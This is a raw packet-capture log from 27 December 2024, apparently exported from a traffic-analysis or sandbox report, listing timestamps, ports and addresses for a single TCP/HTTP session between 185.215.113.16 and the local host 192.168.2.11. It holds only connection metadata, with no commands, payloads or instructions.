Dec 27, 2024 09:02:50.615861893 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.615880013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.615912914 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.616262913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.616275072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.616286993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.616332054 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.616424084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.616436005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.616446972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.616472006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.616487980 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.617134094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.617146015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.617156982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.617209911 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.617269993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.617398977 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.617412090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.617873907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.617923975 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.618010998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.618021965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.618056059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.618158102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.618170023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.618181944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.618218899 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.618985891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.618999958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.619012117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.619051933 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.619074106 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.619143963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.627945900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.627958059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.627964973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628089905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628101110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628109932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.628156900 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.628249884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628451109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628484011 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.628617048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628628016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628660917 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.628757000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628896952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628907919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.628931999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.629569054 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.629580975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.629647970 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.717864990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.717885017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.717896938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.717997074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.718050957 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.718064070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.718080997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.718086958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.718113899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.718126059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.718132019 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.718138933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.718159914 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.718723059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.718734980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.718775988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.718997002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719007969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719019890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719043016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.719062090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.719358921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719506979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719516993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719528913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719541073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719547987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.719552040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.719572067 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.719589949 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.720288038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.720299959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.720310926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.720335007 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.720398903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.720417023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.720428944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.720452070 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.720477104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.721191883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.721204042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.721215010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.721235037 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.721358061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.721369028 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.721379995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.721404076 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.721429110 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.722121954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.722186089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.722225904 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.727785110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.727797031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.727808952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.727852106 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.727871895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.727906942 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.727962017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.727973938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.728012085 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.728219986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.728230953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.728243113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.728276014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.728324890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.728336096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.728347063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.728368998 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.728388071 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.729065895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.729213953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.729224920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.729258060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.729269028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.729269028 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.729284048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.729302883 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.729319096 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.729990959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.730003119 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.730015039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.730041981 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.730195999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.730207920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.730218887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.730247974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.730911016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731072903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731084108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731096029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731122017 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.731146097 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.731271982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731283903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731321096 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.731870890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731883049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731894016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731920958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.731942892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.731978893 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.815220118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.815236092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.815248013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.815327883 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.815388918 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.815414906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.815427065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.815431118 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.815439939 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.815452099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.815459967 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.815481901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.816066980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.816133022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.816144943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.816198111 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.816268921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.816292048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.816306114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.816329002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.816345930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.817011118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.817022085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.817034006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.817076921 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.817151070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.817162991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.817173958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.817194939 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.817213058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.817981005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.817994118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.818006039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.818044901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.818077087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.818089008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.818101883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.818120956 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.818142891 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.819015026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.819026947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.819075108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.827519894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.827615023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.827626944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.827656984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.827658892 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.827670097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.827682972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.827688932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.827721119 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.827996016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.828011036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.828038931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.828052998 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.828121901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.828237057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.828248978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.828273058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.828299999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.828879118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.828929901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.828974962 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.919081926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.919097900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.919202089 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.919229984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.919243097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.919255018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.919301987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.919305086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.919327021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.919332027 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.919339895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.919375896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.920033932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.920046091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.920052052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.920125961 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.920180082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.920191050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.920202017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.920223951 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.920244932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.920953989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.920967102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.920979977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921021938 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.921152115 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921163082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921199083 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.921701908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921714067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921725988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921766043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.921788931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.921824932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921875954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921888113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.921911001 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.922552109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.922565937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.922579050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.922619104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.922646999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.922683001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.922694921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.922707081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.922729015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.923496008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.923507929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.923520088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.923537970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.923558950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.923599005 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.929074049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929089069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929101944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929145098 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.929164886 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.929172039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929184914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929197073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929215908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.929459095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929471016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929481983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929497957 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.929521084 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.929589033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929600954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929610968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.929649115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.930371046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.930382967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.930396080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.930458069 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.930510998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.930522919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.930535078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.930557013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.931286097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.931298971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.931318998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.931346893 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.931379080 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.931430101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.931432962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.931438923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.931504011 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.932172060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.932220936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.932233095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.932270050 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.932328939 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.932339907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.932351112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.932390928 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.933151960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.933163881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.933176041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.933204889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.933224916 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:50.933259010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:50.981040001 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.016853094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.016872883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.016886950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.016943932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.016948938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.016962051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.016978025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.017007113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.017040014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.017355919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.017391920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.017412901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.017425060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.017435074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.017440081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.017453909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.017463923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.017502069 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.018246889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018265009 CET	80	49768	185.215.113.16	192.168.2.11
